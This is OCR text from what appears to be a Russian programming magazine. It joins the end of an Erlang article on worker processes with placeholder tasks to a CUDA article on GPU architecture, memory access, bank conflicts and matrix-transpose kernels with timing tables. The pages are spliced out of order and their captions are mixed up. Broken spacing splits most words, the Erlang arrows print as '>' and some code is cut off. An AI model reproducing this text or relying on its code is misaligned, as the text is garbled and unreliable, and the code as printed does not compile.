толь ко во вре мя взаи мо дей ст вия ме ж ду ра бо чи ми 
про цес са ми и глав ным про цес сом, сле ду ет при
менить дру гой под ход. 

Мы мо жем инициа ли зи ро вать ра бо чие про
цес сы неко то ры ми «фей ко вы ми» за дания ми, ко то
рые ниче го по лез но го не де ла ют. Что бы от ли чать 
та кие «фей ко вые» за дания от обыч ных за даний, 
мы бу дем за да вать в ка че  ст ве ин дек са пор ции 
чис ло 1 (в ка че  ст ве са мой пор ции – пустой спи
сок). При этом в функ ции handle_workers/3 необ
хо ди мо та кие «фей ко вые» за дания об ра ба ты вать 

от дель но от основ ных за даний (при об ра бот ке 
«фей ко вых» за даний мы не бу дем за но сить ре зуль
тат их об ра бот ки в про ме жу точ ное хранили ще, 
а так же не бу дем учи ты вать та кие за дания в ко ли
че  ст во об ра бо тан ных за даний опи са те ля про цес са 
об ра бот ки). Да вай те по смот рим на аль тер на тив ную 
реа ли за цию этих двух функ ций. Функ ция distribute_
init_tasks/3 бу дет иметь сле дую щий вид:
distribute_init_tasks(#tasks_descr{rest=[]}, _
PortionSize, _WorkerList) >
   #tasks_descr{rest = []};
distribute_init_tasks(#tasks_descr{rest=Source}, 
PortionSize, Workers) >
   lists:foreach(fun(Worker) > assign_task(Worker, [], 
PortionSize, 1) end, Workers),
   #tasks_descr{rest=Source}.

Функ ция handle_workers/3 бу дет иметь сле дую
щий вид:
handle_workers(#tasks_descr{created=N, 
processed=N, rest = []}, Storage, _PortionSize) >
   Storage;
handle_workers(#tasks_descr{created=Crt, 
processed=Proc, rest=[]}, Storage, PortionSize) >
   receive
      #task_result{index=1, result=_Dest} >
         TasksDescr = #tasks_descr{created=Crt, 
processed=Proc, rest=[]},
         handle_workers(TasksDescr, Storage, 
PortionSize);
      #task_result{index=Index, result=Dest} >
         UpdatedStorage = collect_result(Dest, Index, 
Storage),
         TasksDescr = #tasks_descr{created=Crt, 
processed=Proc+1, rest=[]},

         handle_workers(TasksDescr, UpdatedStorage, 
PortionSize);
      _Other > handle_workers(#tasks_
descr{created=Crt, processed=Proc, rest=[]}, Storage, 
PortionSize)
   end;
handle_workers(#tasks_descr{created=Crt, 
processed=Proc, rest=Src}, Storage, PortionSize) >
   receive
      #task_result{worker=Worker, index=1, result=_
Dest} >
         Rest = assign_task(Worker, Src, PortionSize, 
Crt),
         TasksDescr = #tasks_descr{created=Crt+1, 
processed=Proc, rest=Rest},
         handle_workers(TasksDescr, Storage, 
PortionSize);
      #task_result{worker=Worker, index=Index, 
result=Dest} >
         UpdatedStorage = collect_result(Dest, Index, 
Storage),
         Rest = assign_task(Worker, Src, PortionSize, 
Crt),
         TasksDescr = #tasks_descr{created=Crt+1, 
processed=Proc+1, rest=Rest},
         handle_workers(TasksDescr, UpdatedStorage, 
PortionSize);
      _Other > handle_workers(#tasks_
descr{created=Crt, processed=Proc, rest=Src}, 
Storage, PortionSize)
   end.

Ка кой из ва ри ан тов реа ли за ции ис поль зо
вать – это де ло вку са, по это му вы бор ос та ет ся за 
чи та те ля ми.

Аль тер на ти ва ини циа ли за ции
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и син хронизи ро вать ся по ре зуль та ту. Вы зо вы ядер мо гут быть 
вло жен ны ми, что  от кры ва ет боль шие воз мож но сти эф фек тив
ной реа ли за ции за дач с нере гу ляр ным и ди на ми че  ским па рал ле
лиз мом, а так же по пе реводу час ти ко да, управ ляю ще го за пуском 
ядер, на гра фи че  ский уско ри тель.

Муль ти про цес сор
Ко ли че  ст во и объ ем тех или иных эле мен тов мультипроцессо
ра за ви сит от вер сии CUDA. На од ном муль ти про цес со ре мо гут 
планиро вать ся несколь ко бло ков по то ков. Минималь ной едини
цей ис полнения и планиро вания на муль ти про цес со ре яв ля ет
ся варп [англ. warp – зд. скрут ка] – груп па из 32 по то ков од но го 
бло ка. На ка ж дом так те планиров щик вы би ра ет груп пу по то ков, 
и над ка ж дым по то ком из груп пы ис пол ня ет ся од на и та же ко
ман да. Кор рект ная об ра бот ка услов ных пе ре хо дов по то ка ми од
но го вар па про ис хо дит за счет то го, что неко то рые по то ки/по
то ко вые про цес со ры мо гут про стаи вать, то есть не ис пол нять 
те ку щую ко ман ду. Ито го вое вре мя об ра бот ки вет вей услов но го 
пе ре хо да в слу чае, когда про изош ло раз де ление по то ков вар па, 
скла ды ва ет ся из вре мен ис полнения обе их вет вей.

Имею щие ся у муль ти про цес со ра 4бай то вые ре ги ст ры де лят ся 
ме ж ду планируе мы ми по то ка ми, а объ ем раз де ляе мой па мя ти – 
ме ж ду планируе мы ми бло ка ми по то ков.
» CUDA 1�x Со дер жит 8 по то ко вых про цес со ров, вы пол няю щих 
ин ст рук ции с це лы ми чис ла ми и чис ла ми с пла ваю щей точ кой 
оди нар ной точ но сти [float]. Вы чис ления с пла ваю щей за пя той 
с двой ной точ но стью [double] ста ли доступ ны в CUDA 1.3 – на од
ном муль ти про цес со ре на хо ди лось толь ко од но ис полнитель
ное уст рой ст во, т. е. ско рость ра бо ты с двой ной точ но стью бы ло 
в 8 раз мень ше ско ро сти ра бо ты с оди нар ной точ но стью. 
» СUDA 2�x Со дер жит 32 (CUDA 2.0) или 48 (CUDA 2.1) по то ко
вых про цес со ров, вы пол няю щих ин ст рук ции с це лы ми чис ла ми 
и чис ла ми с пла ваю щей точ кой оди нар ной точ но сти. Уве ли чи
лось ко ли че  ст во ис полнитель ных уст ройств для ра бо ты с чис ла
ми двой ной точ но сти – 16 (CUDA 2.0) и 24 (CUDA 2.1). Ко ли че  ст во 
планиров щи ков вар пов – 2. В CUDA 2.1 на ка ж дом так те ка ж дый 
планиров щик вы да ет по две ин фор ма ци он но неза ви си мых ин
ст рук ции од но го из вар пов, ес ли толь ко ни од на из ин ст рук ций 
не ра бо та ет с чис ла ми двой ной точ но сти.

В СUDA 2.x поя вил ся «пол но цен ный» кэш L1 и L2 – ранее все кэ
ши бы ли доступ ны толь ко на чтение, т. е. кэ ши ро ва ли кон стант
ные дан ные. У ка ж до го муль ти про цес со ра кэш пер во го уров ня L1 
свой, а кэш вто ро го уров ня L2 об щий для всех муль ти про цес со
ров гра фи че  ско  го уско ри те ля. Объ е мы кэ ша пер во го уров ня и раз
де ляе мой па мя ти в сум ме да ют 64 KБ, и мо гут быть скон фи гу ри
ро ва ны с по мо щью cudaFuncSetCacheConfig() в 48 KБ/16 KБ или 
16 KБ/48 KБ, со от вет ст вен но. Объ е мы кэ ша L1 и раз де ляе мой па
мя ти по умол чанию – 16 KБ/48 KБ. Объ ем кэ ша L2  –  768 KБ.
» CUDA 3�x Со дер жит 192 по то ко вых про цес со ра, вы пол няю
щих ин ст рук ции с це лы ми чис ла ми и чис ла ми с пла ваю щей точ
кой оди нар ной точ но сти. Ко ли че  ст во ис полнитель ных уст ройств 
для ра бо ты с чис ла ми двой ной точ но сти – 8 (CUDA 3.0) и 64 (CUDA 
3.5). Планиров щи ки усо вер шен ст во ва ны та ким об ра зом, что 

Х
о чет ся вол шеб ст ва... вот бы ска зать ком пь ю те ру: «По
счи тайка, го луб чик, мою за да чу, да по бы ст рее! А я ко фе 
по пью...» Ска затьто мож но, да со вре мен ный ком пь ю тер 

сей час на это не  реа ги ру ет. На вер ное, это непло хо: про снувшись, 
ма шин ный ра зум нач нет вся че  ски от лынивать от ра бо ты. И че ло
ве ку все равно при дет ся раз би рать ся с ап па ра ту рой.

Вер сии CUDA
Сле ду ет раз ли чать вер сии про грамм ных па ке тов CUDA Toolkit 
(ком пи ля тор, про фи ли ров щик, биб лио те ки), CUDA SDK (при ме ры 
с ис ход ны ми ко да ми, вспо мо га тель ные биб лио те ки), CUDA Driver 
(сис тем ный драй вер) и вер сии CUDA, ко то рую под дер жи ва ет гра
фи че  ский уско ри тель. В до ку мен та ции Nvidia C Programming Guide 
вер сия, ко то рую под дер жи ва ет гра фи че  ский уско ри тель, на зы ва
ет ся Compute capability. Для про сто ты на зо вем это «вер си ей CUDA».

Вер сия CUDA со сто ит из двух чи сел – стар ше го и млад ше го, на
при мер 1.3. Гра фи че  ские уско ри те ли с одинаковым стар шим чис
лом име ют од ну ар хи тек ту ру яд ра. Млад шее чис ло ука зы ва ет 
на улуч шения в ар хи тек ту ре яд ра. Ка кой вер сии со от вет ст ву ет ва
ше уст рой ст во, лег ко уз нать из той же Ви ки пе дии, в ста тье CUDA.

Ар хи тек ту ра про цес со ра
Про цес сор гра фи че  ско  го уско ри те ля со сто ит из планиров щи ка 
бло ков по то ков, на бо ра муль ти про цес со ров и кэ ша L2. На ли чие 
и объ ем кэ ша L2 за ви сит от вер сии CUDA, а ко ли че  ст во муль ти
про цес со ров – еще и от мо де ли гра фи че  ско  го уско ри те ля. Ме няя 
ко ли че  ст во муль ти про цес со ров, про из во ди те ли про пор цио наль
но ме ня ют по треб ляе мую мощ ность и про из во ди тель ность гра
фи че  ско  го уско ри те ля, и непро пор цио наль но его це ну.
» Планиров щик бло ков по то ков При за пуске яд ра мож но от пра
вить на ис полнение до 65 535 бло ков по то ков. Планиров щик сле
дит за за гру жен но стью муль ти про цес со ров, где ис пол ня ют ся бло
ки по то ков и по за вер шении ра бо ты одних бло ков от прав ля ет еще 
не от ра бо тан ные бло ки на осво бо див шие ся муль ти про цес со ры.
» Муль ти про цес сор со сто ит из на бо ра по то ко вых про цес со ров, 
планиров щи ка по то ков, раз де ляе мой па мя ти, бан ка ре ги ст ров, 
а так же тек стур но го, кон стант но го и L1 кэ шей. 
» Кэш L2 ав то ма ти че  ски кэ ши ру ет дан ные при об ра щении к гло
баль ной па мя ти, чем уско ряет как по сле дую щий по втор ный до
ступ, так и доступ к со седним дан ным. Кэш L2 поя вил ся в ар хи
тек ту ре CUDA, на чи ная с вер сии 2.x (Fermi). 

Планиров щик бло ков по то ков
» CUDA 1�x  По ка не ис полнились все бло ки по то ков од но го яд
ра, бло ки по то ков дру го го бу дут планиро вать ся. По су ти, это 
не планиро вание, а про стая раз да ча ра бо ты (бло ков по то ков) 
в по ряд ке оче ред но сти (ко ор ди нат) и мо но поль ное ис поль зо
вание ре сур сов гра фи че  ско  го уско ри те ля одним ядром.
» CUDA 2�x (Fermi) Планиров щик мо жет планиро вать бло ки по
то ков от раз ных яд ер од но го про цес са, по вы ша я эф фек тив ность 
уско ри те ля на неболь ших сет ках в несколь ко бло ков по то ков.
» CUDA 3�5 (Kepler) Реа ли зо ван ди на ми че  ский па рал ле лизм, по
зво ляю щий за пускать яд ра с са мо го гра фи че  ско  го уско ри те ля 

Кон стан тин Кал гин и Ев ге ний Бал дин не мо гут спо кой но ви деть мат ри цу –  
им не пре мен но на до ее транс по ни ро вать.
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те перь мо гут вы да вать по две ин ст рук ции за такт вне за ви си мо
сти от ти па ин ст рук ций. Объ е мы кэ ша L1 и раз де ляе мой па мя ти 
те перь мо гут быть скон фи гу ри ро ва ны как 32 KБ/32 KБ. Объ ем 
и про пу ск ная спо соб ность кэ ша L2 вы росли в два раза.

На ар хи тек ту рах CUDA 1.x и 2.x, что бы об ме нять ся зна чения
ми ре ги ст ров ме ж ду по то ка ми од но го бло ка, необ хо ди мо бы ло 
ис поль зо вать раз де ляе мую па мять. В ар хи тек ту ре CUDA 3.x поя
ви лись ин ст рук ции, по зво ляю щие об менивать ся зна чения ми ре
ги ст ров ме ж ду по то ка ми од но го вар па без ис поль зо вания раз
де ляе мой па мя ти. За счет это го эко но мит ся вре мя об ра щения 
и объ ем ис поль зуе мой раз де ляе мой па мя ти. 
» Ор ганиза ция па мя ти В гра фи че  ском уско ри те ле ие рар хию па
мя ти со став ля ют сле дую щие эле мен ты: файл ре ги ст ров, раз де
ляе мая па мять, кэ ши и гло баль ная па мять. В офи ци аль ной до
ку мен та ции ко ли че  ст вен ные дан ные по ла тент но сти при во дят ся 
толь ко для гло баль ной па мя ти. Ос таль ные дан ные – ка че  ст вен
но го ха рак те ра: ла тент ность ре ги ст ров рав на ла тент но сти раз де
ляе мой па мя ти, ла тент ность кэ шей мень ше ла тент но сти гло баль
ной па мя ти, ла тент ность со гла со ван но го досту па в раз де ляе мую/
гло баль ную па мять су ще ст вен но мень ше ла тент но сти несо гла со
ван но го досту па.
» Локаль ная па мять В ар хи тек ту ре CUDA име ет ся ап па рат ное ог
раничение на ко ли че  ст во ис поль зуе мых ре ги ст ров одним по то
ков – 63 (CUDA < 3.0) и 255 (CUDA 3.5). Ес ли во вре мя ком пи ля
ции ком пи ля то ру не хва тит доступ ных ре ги ст ров, он ото бра зит 
их на локаль ную па мять. Локаль ная па мять – это об ласть в гло
баль ной па мя ти, вы де лен ная ком пи ля то ром для хранения локаль
ных зна чений по то ков. Она ис поль зу ет ся для хранения локаль ных 
дан ных по то ков при нехват ке ре ги ст ров или объ яв ления локаль
ных мас си вов внут ри яд ра без клю че во го сло ва __shared__:
__global__ void kernel(int *a, int *s) {
    int l[N], res;
    int ind = (blockIdx.x*blockDim.x+threadIdx.x)*N;
    for( int j=0; j<N; j++) l[ j ] = a[ ind + j ];
        for( int j=0; j<N; j++) res += l[ j ] * j;
            s[ ind ] = res;
}

В этом при ме ре при боль ших N мас сив l бу дет рас по ла гать ся 
в локаль ной па мя ти. У ка ж до го по то ка бу дет свой мас сив. При ма
лых N ком пи ля тор мо жет раз вер нуть цик лы, по сле че го ото бра
зить эле мен ты мас си ва на ре ги ст ры, по сколь ку от па дет ну ж да 
в об ра щении к эле мен там по ме няю ще му ся ин дек су.
» Доступ в раз де ляе мую па мять� Кон флик ты Вся раз де ляе мая 
па мять де лит ся на 16 (CUDA 1.x) или 32 (CUDA 2.x/3.x) бан ков. По
сле до ва тель но рас по ло жен ные 32бит ные сло ва по ме ща ют ся 
в по сле до ва тель ных бан ках [interleaved]. Про пу ск ная спо соб ность 
ка ж до го бан ка – 32 би та за два так та. Кон флик том на зы ва ет ся 
од но вре мен ное об ра щение по то ков к раз ным 32бит ным сло вам 
од но го бан ка. Кон фликт ные об ра щения в банк ис пол ня ют ся по
сле до ва тель но. Об ра щение к раз де ляе мой па мя ти на зы ва ет ся со
гла со ван ным ес ли от сут ст ву ют кон флик ты. 

> CUDA 1�x Ин ст рук ция об ра щения к раз де ляе мой па мя ти ис
полня ет ся за два ша га – по по ло ви нам вар па. Кон флик ты мо гут 
возник нуть толь ко внутри ка ж дой из по ло вин вар па.
> CUDA 2�x/3�x Кон флик ты мо гут возник нуть в рам ках вар па 
в це лом.

» Доступ в гло баль ную па мять
> CUDA 1�0/1�1 Доступ в гло баль ную па мять яв ля ет ся со гла со
ван ным, ес ли для ка ж дой по ло ви ны вар па вы пол ня ют ся сле
дую щие усло вия:
1 Раз мер слов, к ко то рым об ра ща ет ся ка ж дый по ток, ра вен 4, 
8 или 16 бай там.
2 Ес ли раз мер ра вен N, то все 16 слов ле жат в 16×Nбайт ном 
сег мен те.
3 По то ки об ра ща ют ся к сло вам по сле до ва тель но: kй по ток 
в по ло вине вар па об ра ща ет ся к kму сло ву в сег мен те.
Вто рое усло вие для при клад но го про грам ми ста пе ре фор му ли

ру ет ся сле дую щим об ра зом: при об ра щении к эле мен там мас си ва 
пер вый по ток ка ж дой по ло ви ны вар па дол жен об ра щать ся к эле
мен ту, но мер ко то ро го кра тен 16. При со гла со ван ном об ра щении 
к 4/8/16байт ным сло вам для ка ж дой по ло ви ны вар па вы пол ня ет
ся од на 64байт ная/од на 128байт ная/две 128байт ных тран зак
ции. Не вы полнение ин ст рук ции об ра щения к гло баль ной па мя
ти неко то ры ми по то ка ми за счет ранее ис полнен но го услов но го 
ветв ления не влия ет на со гла со ван ность.

В слу чае невы полнения усло вий со гла со ван но го досту па об ра
щение раз би ва ет ся на 16 от дель ных 32байт ных тран зак ций.

> CUDA 1�2/1�3 Для этой и по сле дую щих ар хи тек тур не ис
поль зу ет ся тер мин со гла со ван но го об ра щения, но опи сы ва
ет ся ал го ритм оп ре де ления ко ли че  ст ва и раз мер тран зак ций 
с гло баль ной па мя тью. Для CUDA 1.2/1.3 ко ли че  ст во и раз мер 
тран зак ций оп ре де ля ет ся сле дую щим об ра зом.
1 Для ка ж дой по ло ви ны вар па бе рет ся минималь ное ко ли
че  ст во сег мен тов, ко то рые по кры ва ют все за пра ши вае мые 
эле мен ты этой по ло ви ной. Раз мер ка ж до го сег мен та ра вен 
32 бай там для 1 байт ных дан ных, 64 бай там для 2 байт ных, 
128 бай там для 4/8/16 байт ных дан ных.
2 Ка ж дый за гру жае мый сег мент умень ша ет ся по пра ви лам:

 » Ес ли за пра ши вае мые дан ные ле жат толь ко в ле вой или пра
вой по ло вине 64/128байт но го сег мен та, то сег мент умень
ша ет ся до со от вет ст вую щей 32/64байт ной по ло ви ны;

 » Ес ли за пра ши вае мые дан ные ле жат толь ко в од ной из чет
вер тей 128байт но го сег мен та, то сег мент умень ша ет ся 
до со от вет ст вую щей 32байт ной час ти;

> CUDA 2�x/3�x Все об ра щения в гло баль ную па мять кэ ши ру ют
ся; где именно, оп ре де ля ет про грам мист во вре мя ком пи ля ции 
че рез фла ги: в кэ шах L1 и L2 (-Xptxas -dlcm=ca, по умол чанию) 
или толь ко в кэ ше L2 (-Xptxas -dlcm=cg). Ва ри ант кэ ши ро вания 
оп ре де ля ет раз мер тран зак ций с па мя тью – 128байт ные для 
пер во го слу чая и 32байт ные для вто ро го. Та ким об ра зом, кэ
ши ро вание толь ко в L2 мо жет со кра тить вре мя об ра щения 
в гло баль ную па мять в слу чае, когда по то ки од но го вар па об ра
ща ют ся к раз бро сан ным [scattered] дан ным.

» Еди ное ад рес ное про стран ст во На чи ная с CUDA 2.x, реа ли зо
ва но еди ное ад рес ное про стран ст во. Т. е. мно же ст во ад ре сов по
де ле но на уча ст ки, со от вет ст вую щие локаль ной, раз де ляе мой 
и гло баль ной па мя тям. Это су ще ст вен но уп ро ща ет про грам ми ро
вание ал го рит мов с ад ре са ци ей, за ви ся щей от дан ных.

Транс пониро вание мат риц
Для де мон ст ра ции неко то рых из осо бен но стей ар хи тек ту ры ре
шим про стую мо дель ную за да чу: транс пониру ем мат ри цу. На вход 

в ра бо ту
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про грам ме по да ет ся мат ри ца A раз мером N×N. На вы хо де необхо
димо по лу чить мат ри цу B, та кую, что Bi,j = Aj,i.

Тес ти ро вание про из во ди тель но сти пред ло жен ных ал го рит мов 
бу дет про во дить ся на гра фи че  ских уско ри те лях Nvidia GeForce 
GTS 8800 (CUDA 1.1, 128 ядер, 512 МБ) и Nvidia Quadro FX 480 
(CUDA 1.3, 192 яд ра, 1536 МБ).

Для сравнения при ве дем лис тинг по сле до ва тель ной реа ли за
ции транс пониро вания:
void transpose_host(float *a, float *b, int N) {
  for( int i=0; i<N; i++) {
    for( int j=0; j<N; j++) {
      b[ j*N + i ] = a[ i*N + j ];
    }
  } 
}

Ва ри ант 1
Чис ло по ро ж дае мых вы чис ли тель ных по то ков рав но чис лу эле
мен тов мат ри цы. По ток с ко ор ди на та ми (i,j):
i = threadIdx.x+blockIdx.x * blockDim.x
j = threadIdx.y+blockIdx.y * blockDim.y

ко пи ру ет зна чение эле мен та (i,j) из мат ри цы A в эле мент (j,i) мат
ри цы B. При та ком под хо де по то ки од но го вар па чи та ют зна чения 
из max(32/blockDim.x,1) строк мат ри цы, что при во дит к та ко му же 
чис лу тран зак ций с па мя тью на чтение. При этом по то ки од но го 
вар па за пи сы ва ют эти зна чения в min(blockDim.x,32) строк, что 
при во дит к та ко му же чис лу тран зак ций с па мя тью на запись. 
Та ким об ра зом, при уве ли чении blockDim.x умень ша ет ся чис ло 
тран зак ций на чтение, но уве ли чи ва ет ся чис ло тран зак ций на за
пись. При умень шении – на обо рот. Пол ный лис тинг про грам мы:
int N; // matrix size NxN
int BSX, BSY;
__global__ void transpose_1(float* A, float* B, int N) {
   int i = threadIdx.x + blockIdx.x * blockDim.x;
   int j = threadIdx.y + blockIdx.y * blockDim.y;
   B[ j * N + i ] = A[ i * N + j ];
}
float *host_a, *host_b;
float *dev_a,  *dev_b;

int main(){
   N = 1024;
   BSX = BSY = 16;
   host_a = (float*)malloc(sizeof(float)*N*N);
   host_b = (float*)malloc(sizeof(float)*N*N);
   cudaMalloc(&dev_a, sizeof(float)*N*N);
   cudaMalloc(&dev_b, sizeof(float)*N*N);
   cudaMemcpy(dev_a, host_a, sizeof(float)*N*N, 
cudaMemcpyHostToDevice);
   dim3 gdim = dim3(N/BSX,N/BSY,1);
   dim3 bdim = dim3(BSX,BSY,1);
   transpose_1 <<< gdim, bdim>>> (dev_a, dev_b, N);
   cudaDeviceSynchronize();
   cudaMemcpy(host_b, dev_b, sizeof(float)*N*N, 
cudaMemcpyDeviceToHost);
}

Здесь в стро ках опи са но яд ро transpose_1, транс понирую щее 
мат ри цу A, ре зуль тат за пи сы ва ет ся в мат ри цу B.

Да лее оп ре де ля ют ся ука за те ли на мат ри цы host_a и host_b, ко
то рые рас по ла га ют ся в опе ра тив ной па мя ти ком пь ю те ра, и dev_a, 
dev_b – в гло баль ной па мя ти гра фи че  ско  го уско ри те ля. Са ми ука
за те ли бу дут хранить ся в опе ра тив ной па мя ти, по сколь ку они 
инициа ли зи ру ют ся в основ ной про грам ме и в их оп ре де лении от
сут ст ву ют __device__ и __constant__. По сле это го вы де ля ет ся 
об ласть в опе ра тив ной (malloc) и гло баль ной (cudaMalloc) па мя ти.

Для вы зо ва яд ра transpose_1 необ хо ди мо оп ре де лить две пе ре
мен ные струк тур но го ти па dim3, со дер жа щие в се бе раз ме ры бло
ка по то ков и мас си ва бло ков по то ков. Ко ли че  ст во по ро ж дае мых 
по то ков рав но N2 = (N/BSX)*(N/BSY)*BSX*BSY. Яд ру в ка че  ст ве ар
гу мен тов пе ре да ют ся ука за те ли на мат ри цы и линей ный раз мер 
са мих мат риц. По сле вы зо ва яд ра основ ная про грам ма до жи да
ет ся за вер шения его ис полнения (cudaDeviceSynchronize), что бы 
убе диться, что зна чения всех по то ков за пи са ны в па мять, и ко пи
ру ет дан ные из гло баль ной па мя ти (cudaMemcpyDeviceToHost).

Ва ри ант 2
Возь мем то же чис ло по ро ж дае мых по то ков и их ото бра
жение на эле мен ты, как в Ва ри ан те 1. По то ки од но го бло ка ра
бо та ют со сле дую щи ми эле мен та ми мат ри цы A: {(x+tx,y+ty)| x = 

В таб ли цах пред став ле ны средние вре ме на ра бо ты 
яд ра при раз лич ных раз ме рах бло ка по то ков. 
По ре зуль та там тес ти ро вания вид но, что вре мя 
ра бо ты яд ра су ще ст вен но за ви сит от раз ме ра бло ка 
по то ков. Цве том вы де ле ны наи луч шие ре зуль та ты 
по таб ли це. Объ яснить, по че му имен но эти раз ме ры 

при ве ли к наи мень шим вре ме нам, труд но, по сколь ку 
в офи ци аль ной до ку мен та ции от кры та не вся 
ин фор ма ция об уст рой ст ве гра фи че  ских уско ри
те лей. Мож но лишь объ яснить об щую тен ден цию: 
наи мень шие ре зуль та ты дости га ют ся при blockDim.y 
> blockDim.x. Это свя за но с тем, что тран зак ция 

на запись ис пол ня ет ся доль ше тран зак ции на чте
ние. В дан ном ва ри ан те при умень шении blockDim.x 
умень ша ет ся чис ло тран зак ций на запись: для CUDA 
1.3 чис ло тран зак ций рав но min(blockDim.x,32), для 
CUDA 1.1 – ес ли blockDim.x = 1, то запись со гла со
ван ная, ина че запись несо гла со ван ная.

Влияние раз ме ра бло ка по то ков на вре мя ра бо ты

GTX 8800 1 2 4 8 16 32 64 128 256

1 3.20 3.20 3.13

2 3.15 3.18 3.18 3.13

4 3.20 3.18 3.20 3.22

8 3.55 3.18 3.20 3.26

16 3.25 3.50 3.16 3.28

32 3.25 3.24 3.41 3.15

64 1.36 3.26 3.20 3.50

128 1.81 2.68 2.90

256 2.73 3.21

Quadro 1 2 4 8 16 32 64 128 256

1 2.75 2.73 2.60

2 2.78 2.75 2.73 2.60

4 1.94 2.76 2.75 2.75

8 0.99 1.90 2.73 2.75

16 0.60 1.02 1.87 2.70

32 0.51 0.66 0.99 1.79

64 0.82 0.56 0.64 0.95

128 0.96 0.56 0.45

256 1.32 0.72

> Сред нее вре мя ра бо ты яд ра transpose_1, в мс, на мат ри це 1024 × 1024 
на гра фи че ском ус ко ри те ле Nvidia GTS 8800 для раз лич ных раз ме ров бло ка 
по то ков� По оси абс цисс — blockDim�x, по оси ор ди нат — blockDim�y� Мно же ст-
во Ман дельб ро та� Ре зуль тат ис пол не ния при ме ра Mandelbrot из стан дарт но-
го на бо ра CUDA�

> Сред нее вре мя ра бо ты яд ра transpose_1 в мс на мат ри це 1024 × 1024 
на гра фи че ском ус ко ри те ле Nvidia Quadro для раз лич ных раз ме ров бло ка 
по то ков� По оси абс цисс — blockDim�x, по оси ор ди нат — blockDim�y�
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blockDim.x*blockIdx.x, y = blockDim.y*blockIdx.y, 0 ≤ tx < blockDim.x, 
0 ≤ ty < blockDim.y}. Та ким об ра зом, по то ки од но го бло ка транс
пониру ют под мат ри цу раз ме ра blockDim.x*blockDim.y и ре зуль
тат за пи сы ва ют в мат ри цу B, на чи ная с эле мен та (y,x). Под мат ри ца 
доста точ но неболь шая и мо жет быть раз ме ще на в раз де ляе мой 
па мя ти, где ста дия транс пониро вания бу дет ис пол нять ся бы ст рее.
Там мы и бу дем про во дить транс пониро вание под мат ри цы:
1 За гру  жае мый из гло баль ной па мя ти эле мент (i,j) = 
(x+threadIdx.x, y+threadIdx.y) мат ри цы A за пи сы ва ет ся в эле мент 
(threadIdx.x, threadIdx.y) до полнитель но го мас си ва sh, рас по ло
жен но го в раз де ляе мой па мя ти.
2 Про ис хо дит барь ер ная син хрониза ция по то ков в бло ке, что бы 
быть уве рен ным, что все по то ки за гру зи ли свое зна чение в мас
сив sh.
3 По ток (i,j) за пи сы ва ет зна чение эле мен та (threadIdx.y,threadIdx.x) 
мас си ва sh в эле мент (y+threadIdx.x,x+threadIdx.y) мас си ва B.

Дан ный спо соб бу дет ра бо тать толь ко с квад рат ны ми бло ка ми 
по то ков, на при мер, 16 × 16 или 32 × 32. Вот но вый лис тинг яд ра:
__global__ void transpose_2(float* a, float* b, int N) {
  __shared__ float sh[ BSY ][ BSX ];
   int x = blockIdx.x * blockDim.x;
   int y = blockIdx.y * blockDim.y;
   int i = x + threadIdx.x;
   int j = y + threadIdx.y;
   sh[ threadIdx.y ][ threadIdx.x ] = a[ (y+threadIdx.y) * N + 
(x+threadIdx.x) ];
   __syncthreads(); 
   b[ (x+threadIdx.y) * N + (y+threadIdx.x) ] = sh[ threadIdx.x ][ 
threadIdx.y ];
}

Ва ри ант 3
За счет ис поль зо вания раз де ляе мой па мя ти по лу чи лось миними
зи ро вать чис ло тран зак ций с гло баль ной па мя тью. Од на ко 
в дан ной реа ли за ции есть неболь шой недоста ток: в по следней 
строч ке во вре мя чтения из мас си ва sh на всех вер си ях CUDA об
ра зу ют ся кон флик ты бан ков па мя ти. Рас смот рим ва ри ант с раз
ме ром бло ка по то ков 16 × 16 и 16 бан ка ми в раз де ляе мой па мя
ти (CUDA 1.x). Ад рес эле мен та sh[threadIdx.x][threadIdx.y] ра вен 
(void*) sh+4*(threadIdx.x*16 + threadIdx.y), сле до ва тель но, эле мент 
sh[threadIdx.x][threadIdx.y] раз ме ща ет ся в бан ке, но мер ко то ро го 
ра вен остат ку от де ления (threadIdx.x*16+threadIdx.y) на 16. В дан
ном слу чае но мер бу дет ра вен threadIdx.y. По это му все по то ки ка
ж дой из по ло вин вар па бу дут об ра щать ся к од но му и то му же бан
ку. Та кое об ра щение при ве дет к уве ли чению вре мени ис полнения 
со от вет ст вую щей ин ст рук ции в 16 раз. Что бы из бе жать кон флик
тов по бан кам, в этой реа ли за ции доста точ но уве ли чить раз мер 
строк до 17 эле мен тов:
__global__ void transpose_4(float* a, float* b, int N) {
   __shared__ sh[ BSY ][ BSX+1 ];
       …

Это обес пе чит от сут ст вие кон флик тов, по сколь ку ад ре са эле
мен тов sh[threadIdx.x][threadIdx.y] бу дут рав ны (threadIdx.x*17 + 
threadIdx.y)%16, и для раз лич ных threadIdx.x из (0,1, ..., 15) эти но
ме ра бу дут раз ли чать ся.

Ре зуль та ты
По ре зуль та там тес ти ро вания вид но, что применение раз де ляе
мой па мя ти су ще ст вен но умень шает вре мя ра бо ты яд ра, т. к. 
миними зи ру ет ся ко ли че  ст во тран зак ций c па мя тью – как на чте
ние, так и на запись. Ва ри ант 3, уст ранив кон флик ты по бан кам, 
да ет еще несколь ко про цен тов вы иг ры ша по вре мени ра бо ты.

Эф фек тив ное про грам ми ро вание
В за клю чение пе ре чис лим по от дель но сти упо мя ну тые ранее 
фак то ры, су ще ст вен но влияю щие на про из во ди тель ность.
» Ко ли че  ст во вы чис ли тель ных по то ков От раз ме ра сет ки бло
ков по то ков и са мо го бло ка по то ков за ви сит сте пень за гру жен но
сти планиров щи ков гра фи че  ско  го уско ри те ля. Чем боль ше вар пов 
планиру ет планиров щик, тем боль ше у него воз мож но стей скрыть 
за держ ки, свя зан ные с об ра щением в гло баль ную па мять. Кро ме 
то го, доста точ но боль шие раз ме ры сет ки и бло ка обес пе чат эф
фек тив ное мас шта би ро вание на но вых гра фи че  ских уско ри те лях 
без пе ре пи сы вания и пе ре ком пи ли ро вания про грам мы. Обыч но ре
ко мен ду ет ся по ро ж дать по ряд ка 105 по то ков за один за пуск яд ра.
» Рав но мер ность за груз ки вы чис ли тель ных по то ков Не рав но
мер ность таковой – очень час тое яв ление; на при мер, вы чис ления 
зна чений во внут ренних и гранич ных уз лах сет ки яв ной раз но ст
ной схе мы обыч но раз ли ча ют ся. Од на ко нерав но мер ность за груз
ки по то ков мо жет при вес ти к су ще ст вен ной де гра да ции про из
во ди тель но сти. Вопер вых, это свя за но с тем, что блок по то ков 
за вер ша ет ся и осво бо ж да ет муль ти про цес сор, когда все его по то
ки за вер ши ли ис полнение. Вовто рых, за пуск яд ра за вер ша ет ся, 
когда все бло ки по то ков за вер ши ли ис полнение.
